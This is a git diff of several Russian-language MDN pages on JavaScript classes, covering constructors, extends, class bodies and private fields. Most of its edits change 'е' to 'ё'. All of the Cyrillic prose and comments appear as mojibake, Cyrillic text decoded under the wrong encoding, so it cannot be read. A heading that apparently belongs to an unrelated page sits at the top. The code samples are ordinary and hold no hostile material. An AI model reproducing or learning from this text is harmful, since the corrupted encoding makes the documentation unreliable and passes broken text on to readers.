<h2 id="Π–ΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΉ_Ρ†ΠΈΠΊΠ»_памяти">Π–ΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΉ Ρ†ΠΈΠΊΠ» памяти</h2>
diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html
index 7d7fe14e82..ea52fc5371 100644
--- a/files/ru/web/javascript/reference/classes/constructor/index.html
+++ b/files/ru/web/javascript/reference/classes/constructor/index.html
@@ -70,7 +70,7 @@ try {
<p><code>ValidationError</code> классу Π½Π΅ Π½ΡƒΠΆΠ΅Π½ явный (explicit) конструктор, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ трСбуСтся инициализация. Π—Π°Ρ‚Π΅ΠΌ конструктор ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ позаботится ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса <code>Error</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π΅ΠΌΡƒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ.</p>
-<p>Однако, Ссли ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ваш собствСнный конструктор ΠΈ ваш класс являСтся ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ явно ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ конструктор Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>super</code>. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
+<p>Однако, Ссли ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ваш собствСнный конструктор ΠΈ ваш класс являСтся ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ явно ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ конструктор Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>super</code>. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
<pre class="notranslate">class ValidationError extends Error {
@@ -109,7 +109,7 @@ try {
<pre class="brush: js notranslate">class Square extends Polygon {
constructor(length) {
// Π—Π΄Π΅ΡΡŒ вызываСтся конструктор Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса,
- // Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся length Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,
+ // Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся length Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,
Β  // ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ полям width ΠΈ height класса Polygon
super(length, length);
// Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: Π’ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΠΎΠΌ классС, super() Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ
@@ -152,7 +152,7 @@ console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //
let newInstance = new Square();
console.log(newInstance.name); //Polygon</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ <strong>Square</strong> класса ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Π½ΠΎ Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя constructor ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ класса <strong>Polygon</strong> вызываСтся ΠΏΡ€ΠΈ создании Π½ΠΎΠ²ΠΎΠ³ΠΎ экзСмпляра <strong>Square</strong>.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ <strong>Square</strong> класса ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Π½ΠΎ Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя constructor ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ класса <strong>Polygon</strong> вызываСтся ΠΏΡ€ΠΈ создании Π½ΠΎΠ²ΠΎΠ³ΠΎ экзСмпляра <strong>Square</strong>.</p>
<h3 id="Constructors_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.">Constructors ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</h3>
@@ -190,7 +190,7 @@ console.log(newInstance.name); //Polygon</pre>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
<p>{{Compat("javascript.classes.constructor")}}</p>
diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html
index df642e9e23..d774cc72b0 100644
--- a/files/ru/web/javascript/reference/classes/extends/index.html
+++ b/files/ru/web/javascript/reference/classes/extends/index.html
@@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Classes/extends
<pre class="brush: js">class Square extends Polygon {
constructor(length) {
// Π—Π΄Π΅ΡΡŒ вызываСтся конструктор Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ класса,
-Β  // Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся свойство length Π² качСствС
+Β  // Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся свойство length Π² качСствС
Β  // Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… полям width ΠΈ height,
  // класса Polygon
super(length, length);
diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html
index 8711331ffc..8b64f585f0 100644
--- a/files/ru/web/javascript/reference/classes/index.html
+++ b/files/ru/web/javascript/reference/classes/index.html
@@ -68,7 +68,7 @@ console.log(Rectangle.name);
<h2 id="Π’Π΅Π»ΠΎ_класса_ΠΈ_Π·Π°Π΄Π°Π½ΠΈΠ΅_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²">Π’Π΅Π»ΠΎ класса ΠΈ Π·Π°Π΄Π°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²</h2>
-<p>Π’Π΅Π»ΠΎ класса — это Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Π°Ρ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки <code>{}</code>. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Ρ‡Π»Π΅Π½Ρ‹ класса, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ конструктор.</p>
+<p>Π’Π΅Π»ΠΎ класса — это Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Π°Ρ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки <code>{}</code>. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Ρ‡Π»Π΅Π½Ρ‹ класса, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ конструктор.</p>
<h3 id="Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ_Ρ€Π΅ΠΆΠΈΠΌ">Π‘Ρ‚Ρ€ΠΎΠ³ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ</h3>
@@ -154,7 +154,7 @@ Animal.eat() // класс Animal
let eat = Animal.eat;
eat(); // undefined</code></pre>
-<p>Если ΠΌΡ‹ напишСм этот ΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ классы основанныС Π½Π° функциях, Ρ‚ΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚Β Π°Π²Ρ‚ΠΎΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° основанная Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ которого функция Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π°. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π°Π²Ρ‚ΠΎΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останСтся ΠΏΡ€Π΅ΠΆΠ½ΠΈΠΌ.</p>
+<p>Если ΠΌΡ‹ напишСм этот ΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ классы основанныС Π½Π° функциях, Ρ‚ΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚Β Π°Π²Ρ‚ΠΎΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° основанная Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ которого функция Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π°. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π°Π²Ρ‚ΠΎΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ° Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останСтся ΠΏΡ€Π΅ΠΆΠ½ΠΈΠΌ.</p>
<pre class="brush: js notranslate"><code>function Animal() { }
@@ -199,7 +199,7 @@ Rectangle.prototype.prototypeWidth = 25;
<h4 id="ΠŸΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅_поля">ΠŸΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅ поля</h4>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Javascript синтаксис опрСдСлСния ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Javascript синтаксис опрСдСлСния ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="notranslate">class Rectangle {
height = 0;
@@ -216,7 +216,7 @@ Rectangle.prototype.prototypeWidth = 25;
<h4 id="ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅_поля">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля</h4>
-<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля:</p>
+<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля:</p>
<pre class="notranslate">class Rectangle {
#height = 0;
@@ -233,7 +233,7 @@ Rectangle.prototype.prototypeWidth = 25;
<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°Ρ€Π°Π½Π΅Π΅ Π² объявлСнии поля.</p>
</div>
-<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΡƒΡ‚Π΅ΠΌ присваивания ΠΈΠΌ значСния, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ обычных свойств.</p>
+<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΡƒΡ‚Ρ‘ΠΌ присваивания ΠΈΠΌ значСния, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ обычных свойств.</p>
<p>Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠ± этом написано Π²Β <a href="/ru/docs/Web/JavaScript/Reference/Classes/%D0%9F%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля класса</a>.</p>
@@ -247,13 +247,13 @@ Rectangle.prototype.prototypeWidth = 25;
}</code>
speak() {
- console.log(`${this.name} ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.`);
+ console.log(`${this.name} ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.`);
}
}
class Dog extends Animal {
constructor(name) {
-Β  super(name); // Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ конструктор super класса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ name
+Β  super(name); // Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ конструктор super класса ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ name
}
Β  speak() {
@@ -272,7 +272,7 @@ d.speak(); // ΠœΠΈΡ‚Ρ†ΠΈ Π»Π°Π΅Ρ‚</code></pre>
this.name = name;
}
Animal.prototype.speak = function () {
- console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
+ console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
}
class Dog extends Animal {
@@ -290,7 +290,7 @@ d.speak(); // ΠœΠΈΡ‚Ρ†ΠΈ Π»Π°Π΅Ρ‚
<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var Animal = {
speak() {
- console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
+ console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
}
};
@@ -304,7 +304,7 @@ class Dog {
Object.setPrototypeOf(Dog.prototype, Animal);
let d = new Dog('ΠœΠΈΡ‚Ρ†ΠΈ');
-d.speak(); // ΠœΠΈΡ‚Ρ†ΠΈ ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.</code></pre>
+d.speak(); // ΠœΠΈΡ‚Ρ†ΠΈ ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.</code></pre>
<h2 id="Species">Species</h2>
@@ -332,7 +332,7 @@ console.log(mapped instanceof Array); // true</code></pre>
}
speak() {
- console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
+ console.log(</code>`${this.name} ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.`<code class="language-js">);
}
}
@@ -345,7 +345,7 @@ class Lion extends Cat {
let l = new Lion('Π€Π°Π·Π·ΠΈ');
l.speak();
-// Π€Π°Π·Π·ΠΈ ΠΈΠ·Π΄Π°Π΅Ρ‚ Π·Π²ΡƒΠΊ.
+// Π€Π°Π·Π·ΠΈ ΠΈΠ·Π΄Π°Ρ‘Ρ‚ Π·Π²ΡƒΠΊ.
// Π€Π°Π·Π·ΠΈ Ρ€Ρ‹Ρ‡ΠΈΡ‚.</code>
</pre>
@@ -396,7 +396,7 @@ class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre>
<h2 id="ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_класа">ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ класа</h2>
-<p>Класс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° этого ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊΒ <code>SyntaxError</code> .</p>
+<p>Класс Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° этого ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊΒ <code>SyntaxError</code> .</p>
<p>Если ΠΌΡ‹ запускаСтС ΠΊΠΎΠ΄ Π² Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Π² Firefox Web Console (<strong>ToolsΒ </strong>&gt;<strong>Β Web DeveloperΒ </strong>&gt;<strong>Β Web Console</strong>) ΠΈ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β ('Run') ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ класса с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π΄Π²Π°ΠΆΠ΄Ρ‹, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅Β <code>SyntaxError: redeclaration of letΒ <em>ClassName</em>;</code>. (ΠžΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ошибкС ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²Β {{Bug(1428672)}}.)Β Chrome Developer Tools Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сообщСниС Ρ‚ΠΈΠΏΠ°Β <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at &lt;anonymous&gt;:1:1</code>.</p>
diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html
index 78a5d91787..e81a71e738 100644
--- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html
+++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html
@@ -31,7 +31,7 @@ class ClassWithPrivateStaticField {
<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ поля доступны Π² конструкторС класса ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ самой Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΠΈ класса.</p>
-<p>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ статичСских ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ статичСскими ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ, всС Π΅Ρ‰Π΅ сохраняСтся.</p>
+<p>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ статичСских ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ статичСскими ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ, всС Π΅Ρ‰Ρ‘ сохраняСтся.</p>
<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
Β Β static #PRIVATE_STATIC_FIELD
@@ -139,7 +139,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError
<h4 id="ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅_ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹_экзСмпляровinstance">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров(instance)</h4>
-<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров это ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, доступныС Ρƒ экзСмпляров класса, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ Ρƒ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ класса.</p>
+<p>ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров это ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, доступныС Ρƒ экзСмпляров класса, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ Ρƒ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ класса.</p>
<pre class="brush: js notranslate">class ClassWithPrivateMethod {
Β  #privateMethod() {
diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
index ea67222e50..b32dc3d2fc 100644
